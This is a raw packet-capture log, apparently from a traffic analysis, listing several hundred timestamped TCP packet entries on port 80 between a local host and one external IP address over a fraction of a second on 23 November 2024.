                                                                                                                      Nov 23, 2024 21:09:25.171763897 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.171869993 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.171972990 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.172696114 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.172831059 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.172934055 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.173698902 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.173846960 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.173908949 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.174711943 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.174798012 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.174864054 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.175533056 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.175642014 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.176466942 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.176539898 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.176561117 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.176611900 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.177401066 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.177462101 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.177536011 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.178360939 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.178495884 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.178572893 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.179335117 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.179421902 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.179744959 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.180645943 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.180757046 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.181057930 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.181416988 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.181483030 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.181683064 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.182121992 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.182235003 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.182286978 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.183070898 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.183180094 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.183249950 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.184042931 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.184107065 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.184900045 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.184962988 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.184969902 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.185040951 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.185878038 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.185992956 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.186049938 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.186784983 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.186959982 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.187030077 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.187737942 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.187854052 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.188215017 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.188683987 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.188783884 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.188858032 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.189635992 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.189785957 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.189990997 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.191056013 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.191145897 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.191308022 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.191606045 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.246659040 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.327397108 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.327435017 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.327512026 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.327712059 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.327805996 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.327893019 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.328741074 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.328857899 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.328913927 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.329659939 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.329751968 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.329868078 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.330568075 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.330698967 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.331160069 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.331516027 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.331646919 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.332340956 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.332442045 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.332612991 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.333386898 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.333400965 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.333517075 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.333808899 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.334314108 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.334599018 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.335267067 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.335319042 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.335335016 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.335562944 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.336232901 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.336328983 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.336807966 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.337133884 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.337325096 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.337955952 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.338139057 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.338227987 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.338586092 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.339035034 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.339129925 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.339797974 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.340042114 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.340153933 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.340199947 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.340933084 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.340979099 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.341281891 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.341819048 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.341881037 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.342334986 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.342763901 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.342868090 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.343704939 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.343806982 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.343847036 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.343847036 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.344635963 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.344753981 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.345571041 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.345576048 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.345674038 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.345880032 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.346537113 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.346673012 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.346839905 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.347501993 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.347575903 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.347738028 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.348407030 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.348520041 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.348746061 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.349361897 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.349467039 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.349822998 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.350363016 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.350502014 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.350784063 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.351226091 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.351269007 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.351780891 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.352174044 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.352263927 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.352385998 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.353106022 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.353245020 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.353322029 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.354048014 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.354154110 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.354305029 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.372170925 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.372292995 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.372555017 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.372653008 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.372883081 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.373408079 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.373497009 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.373591900 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.374422073 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.374522924 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.374820948 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.374820948 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.375375986 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.375478029 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.376305103 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.376399994 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.377073050 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.377074003 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.377260923 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.377302885 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.378210068 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.378315926 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.378746986 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.379121065 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.379179001 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.379244089 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.379307032 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.380065918 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.380177975 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.380996943 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.380999088 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.381095886 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.381934881 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.382025957 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.382069111 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.382069111 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.382932901 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.382996082 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.383838892 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.383934975 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.383941889 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.384007931 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.384759903 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.384886026 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.385720968 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.385808945 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.385828018 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.385884047 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.386673927 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.386746883 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.387330055 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.387607098 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.387690067 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.388533115 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.388602972 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.388608932 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.388659954 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.389473915 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.389574051 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.389646053 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.390429974 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.390592098 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.391366005 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.391447067 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.391463041 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.391493082 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.392276049 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.392380953 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.393220901 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.393250942 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.434159994 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.528707981 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.528779030 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.529053926 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.529162884 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.529202938 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.529202938 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.530173063 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.530257940 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.530663967 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.530996084 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.531148911 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.531183958 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.531843901 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.531945944 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.532382011 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.532778978 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.532879114 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.532932043 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.533720970 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.533828020 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.533971071 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.534657955 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.534785032 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.534836054 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.535592079 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.535700083 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.535927057 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.536525965 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.536643982 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.536756992 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.537460089 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.537575960 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.537668943 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.538451910 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.538539886 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.538659096 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.539356947 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.539458036 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.539510965 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.540277958 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.540395975 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.540488005 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.541249990 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.541342974 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.541640043 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.542206049 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.542313099 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.542434931 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.543179035 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.543318987 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.543543100 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.544033051 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.544145107 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.544231892 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.544997931 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.545167923 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.545481920 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.545917034 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.546037912 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.546086073 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.547060966 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.547235012 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.547626972 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.548041105 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.548160076 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.548227072 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.549247026 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.549305916 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.549401045 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.549861908 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.549952984 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.550015926 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.550654888 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.550848007 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.550893068 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.551750898 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.551779985 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.551851034 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.552530050 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.552639961 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.552937031 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.553479910 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.553606033 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.553661108 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.554380894 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.554498911 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.554610968 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.555320978 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.555409908 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.555481911 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.572917938 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.573051929 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.573107004 CET4972680192.168.2.779.110.49.246
